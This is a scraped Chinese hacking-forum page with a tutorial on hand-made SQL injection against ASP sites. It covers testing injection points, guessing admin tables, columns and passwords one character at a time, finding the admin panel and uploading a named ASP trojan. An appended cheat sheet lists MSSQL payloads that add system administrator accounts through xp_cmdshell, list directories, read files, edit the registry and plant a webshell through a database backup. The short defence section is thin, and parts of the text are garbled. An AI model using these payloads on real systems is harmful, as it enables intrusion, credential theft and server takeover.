http www.cxggzy.cn://www.hqcx.net/bbs/article-582-1.html

你的位置: > 脚本入侵 一次手工注入拿站的方法和思路
想必个位都知道现在流行的网站的方式吧,那就是—脚本!
什么叫脚本呢?脚本就是针对目前的动态网站,如ASP、PHP、JSP等脚本建站语言的入侵方法。
脚本入侵从广义角度讲包含六大绝技:注入、暴库、旁注、cookies欺骗、、上传等(好象少了一种吧,我临时想不起来了,见谅!)
其中最常用的就是注入了,所以今天我只给大家讲讲注入。
在不同的脚本环境下注入的方法也不尽相同,目前国内针对ASP的注入技术已比较成熟(ASP应用广的缘故),PHP注入正在火热发展,JSP则相对冷清。
故此,我就给大家讲讲ASP的注入技术吧。
这里不使用任何工具,纯手工入侵!
首先要寻找注入点,可能的注入点都必须包含 asp ? id = 这种URL,(网址处处空格为多余,目的是过论坛屏蔽)
我给大家找了个注入点 /nei/sub_paper.asp#588&typeid=18
(因本文写的有段时间了,所演示的网站或许已经补上了,大家可以去找个别的试下)
就用这个做演示了,大家进人家的网站不要搞破坏哦。
找到类似这种可能的注入点后,就要判断是否真的能注入啊,我们可以在网址后加个单引号,
即原网址变为:/nei/sub_paper.asp#588&typeid=18&
这是看它是不是报错,报错的话应该就存在注入!
这个网站是报错的,
错误信息如下:
Microsoft JET Database Engine 错误 &#e14’
字符串的语法错误 在查询表达式 ‘id=18” 中。
/nei/sub_paper.asp,行 74
还有种更精密些的判断方法:
就是在网址分别后加上 and 1=1和 and 1=2
比较返回的两个页面内容是否相同,如不同则该站存在注入漏洞!
你刚才检测的哪个地址就叫做该网站的 注入点!
判断好注入点的位置后,现在我们开始注入。
不知大家对数据库熟不熟悉?目前绝大多数网站的数据库不是SQL就是ACCESS
不同的数据库入侵的方法也不尽相同。
所以我们必须首先判断对方是什么类型的数据库。
同样是提交地址—URL
在注入点后加上;–
即在IE中提交网址:/nei/sub_paper.asp#588&typeid=18;–
如正常则是SOL数据库,错误的就是ACCESS数据库。
我检测的这个网站是ACCESS数据库。
该注入点错误提示如下:
Microsoft JET Database Engine 错误 &#e14’
在 SQL 语句结尾之后找到字符。
/nei/sub_paper.asp,行 74
如果是SQL数据库还好玩些,因为SQL可以直接执行命令(分权限的大小)。
而ACCESS数据库下只能去猜管理员的帐号和密码。然后登陆后台,上传木马,再。
真是不幸啊,没办法了,我们现在来猜解管理员密码吧。
每个数据库都分成好几个表,每个表的就类似一个Excel文档,分成几个列(如帐号列、密码列),列下是内容。
所以我们先得才它的关键的表名,数据库并非只有一个表,但只有含有管理员密码的表我们才感兴趣啊。
呵呵~~我说得有道理吧。
猜表名的地址提交方法如下:
在注入点后加 and exists (select cout from 表名)
将表名处换成你要猜的表名
例如我猜它的表名是admin
那么我们就提交这个网址:/nei/sub_paper.asp#588&typeid=18 exists (selet count from admin)
说明该数据库中不含admin表。
常见的表名有这么些,大家一个一个的试就行了,直到哪个表名返回正常页面,即该库存在该表。
常见表名:admin、a_admin、x_admin、m_admin、adminuser、adminstrator、article_admin、 manage、manager、member、members、user、users、userinfo、user_info、 admin_useinfo、login、news、config、用户、密码、会员。。。。。。。等等,好多呢。大家自己也能收集啊。
得到表名后就猜列名
格式为:在注入点后加and (select count(列名)from 表名)&0
表名处填你找到的那些表名,列名同样要猜。就跟猜表名似的,不过格式变了下而已,记得要带着表名猜哦!
常见的列名有:id、password、username、admin_name、name、admin_userid、admin_id、 user_pass、user_password、用户名、密码、pass、yonghu、、、我就不给各位多举例了,大家自己收集一下即可。
猜完列名就要猜长度了
格式是在注入点后加 and (select top 1 len(列名)) from 表名&x
上面这句我解释下,top后的1是指第一行,x就是长度
猜时变换x的值,如我们猜1、2、3都返回正确页面,到4时返回错误,说明长度是4!!
如果上面都很顺利的话,接下来我们要猜那令人激动的帐号和密码了。
格式是在注入点后加 and (select top 1 asc(mid(列名,N,1)) from 表名)&x
这里用到了asc和mid函数, top后的1仍然是指行数,N指第几位,x是ascii码,就是每一位密码的ascii码形式。
猜这个比较好玩,类似那种猜商品价格的游戏,呵呵~~~
我们这里要变换的是x值,如猜10,显示正常;20仍正常;30还正常;但40错误了
说明正确的值在30到40之间,我们继续猜35,正常。猜36,错误了。这就说明36是密码第一位的ascii码值!
接着变换N值为2,即猜第二位。因为上面已经猜过长度了,如果长度是4,那么N值变换到4即完。
现在我们就得到了管理员的帐号和密码的ACSII,在网上随便搜一下,找个ASCII码的转换工具,就能还原出真实帐号和密码了。
有了管理员的帐号密码,自然是要登陆后台啦。
怎么找后台呢。我做演示的这个网站不用找,因为首页就有登陆的地儿。
找后台比较简单的方法可以去百度或google搜下。
比如使用google高级语法:intitle:后台
<换成你要找后台的网站的地址。
后台可以换成其他的语句,比如:管理员登陆、管理、会员登陆等等吧,大家发挥下想象力即可。
找到后台进去后想办法上传木马,后台都有上传的地儿,不让上传asp后缀的文件就改成cer看行不行,
突破上传限制的方法很多,并非本文重点,大家去搜下吧。
至于木马在哪去找,你也可以去搜下,在搜索框内输入 海阳顶端ASP木马
找个下载就能用。
木马功能很多啊,例如FSO文件浏览就跟咱们的FTP差不多。
各位看看就知道了,毋须多言
至此该网站就随我们改动了,呵呵,大家不要随便破坏人家网站哦!
下面我来教教大家如何来防止自己的网站被入侵。
首先还是防注入,分两种,
对于SQL数据库可以在有漏洞的页面加入如下一句代码
& 1 &#8211; -#indade file=&wrsky_sql.asp& &#8211; &#8211; &
我觉得有这句代码应该就没事了(本人水平较低)
对于ACCESS数据库的网站,我水平有限,个人觉得修改密码加密方式的方法来阻止被入侵应该是最好的。
找到你网站的MD5.asp这个文件,将其中的&a=, b=, c=, &后面的那串随便选个改掉即可。
这样你网站的密码加密方式就不再是普通的MD5加密,成为MD5的变种,表面上看起来和MD5一样,但除非看到md5.asp
否则决不可能破解出你的密码。
但你自己一定要保存好改后的文件,千万别弄丢了!
你还可以使用一些通用防注入程序,例如火狐的防注入程序:但这些通用防注入程序本身可能就有漏洞,大家要小心呵~~至少要用最新的版本。
下面再讲讲万一你的网站真被黑客入侵了该怎么办。
首先要删除黑客上传到你的的木马,普通杀毒软件对于这种木马的查杀能力较弱。
可以使用思易ASP木马追捕工具 或 雷客图ASP站长助手 这两款软件。
至于具体方法我就不详谈了,大家看它们的说明吧
转载请注明: &
与本文相关的文章注入命令 手工注入命令大全
作者:佚名
字体:[ ] 来源:互联网 时间:09-30 00:27:16
手工注入命令收集,大家可以学习下,早点摆脱工具,早有所成。
1.判断是否有注入;and 1=1 ;and 1=22.初步判断是否是and user&03.注入参数是字符'and [查询条件] and ''='4.搜索时没过滤参数的'and [查询条件] and '%25'='5.判断数据库系统 ;and (select count(*) from sysobjects)&0 mssql ;and (select count(*) from msysobjects)&0 access6.猜数据库 ;and (select Count(*) from [数据库名])&07.猜字段 ;and (select Count(字段名) from 数据库名)&08.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)&09.(1)猜字段的ascii值(access) ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)&0(2)猜字段的ascii值(mssql) ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)&010.测试权限结构(mssql) ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ;and 1=(select IS_MEMBER('db_owner'));--11.添加mssql和系统的帐户 ;exec master.dbo.sp_--;exec master.dbo.sp_password null,username,--;exec master.dbo.sp_addsrvrolememb--;exec master.dbo.xp_cmdshell 'net user username password /workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--;exec master.dbo.xp_cmdshell 'net user username password /add';--;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--12.(1)遍历目录;create table dirs(paths varchar(100), id int) ;insert dirs exec master.dbo.xp_dirtree 'c:&#92;' ;and (select top 1 paths from dirs)&0 ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))&)(2)遍历目录 ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ;insert temp exec master.dbo.xp_-- 获得当前所有驱动器 ;insert into temp(id) exec master.dbo.xp_subdirs 'c:&#92;';-- 获得子目录列表 ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:&#92;';-- 获得所有子目录的目录树构 ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:&#92;web&#92;index.asp';-- 查看文件的内容13.mssql中的存储过程xp_regenumvalues 注册表根键, 子键 ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE&#92;Microsoft&#92;Windows&#92;CurrentVersion&#92;Run' 以多个记录集方式返回所有键值xp_regread 根键,子键,键值名 ;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE&#92;Microsoft&#92;Windows&#92;CurrentVersion','CommonFilesDir' 返回制定键的值xp_regwrite 根键,子键, 值名, 值类型, 值 值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE&#92;Microsoft&#92;Windows&#92;CurrentVersion','TestValueName','reg_sz','hello' 写入注册表xp_regdeletevalue 根键,子键,值名exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE&#92;Microsoft&#92;Windows&#92;CurrentVersion','TestValueName' 删除某个值xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE&#92;Microsoft&#92;Windows&#92;CurrentVersion&#92;Testkey' 删除键,包括该键下所有值14.mssql的backup创建webshell use model create table cmd(str image); insert into cmd(str) values (''); backup database model to disk='c:&#92;l.asp';15.mssql内置函数 ;and (select @@version)&0 获得Windows的版本号 ;and user_name()='dbo' 判断当前系统的连接用户是不是sa ;and (select user_name())&0 爆当前系统的连接用户 ;and (select db_name())&0 得到当前连接的数据库16.简洁的webshelluse modelcreate table cmd(str image);insert into cmd(str) values ('');backup database model to disk='g:\wwwtest\l.asp';
大家感兴趣的内容
12345678910
最近更新的内容

我要回帖

更多关于 http www.400cx.com 的文章

 

随机推荐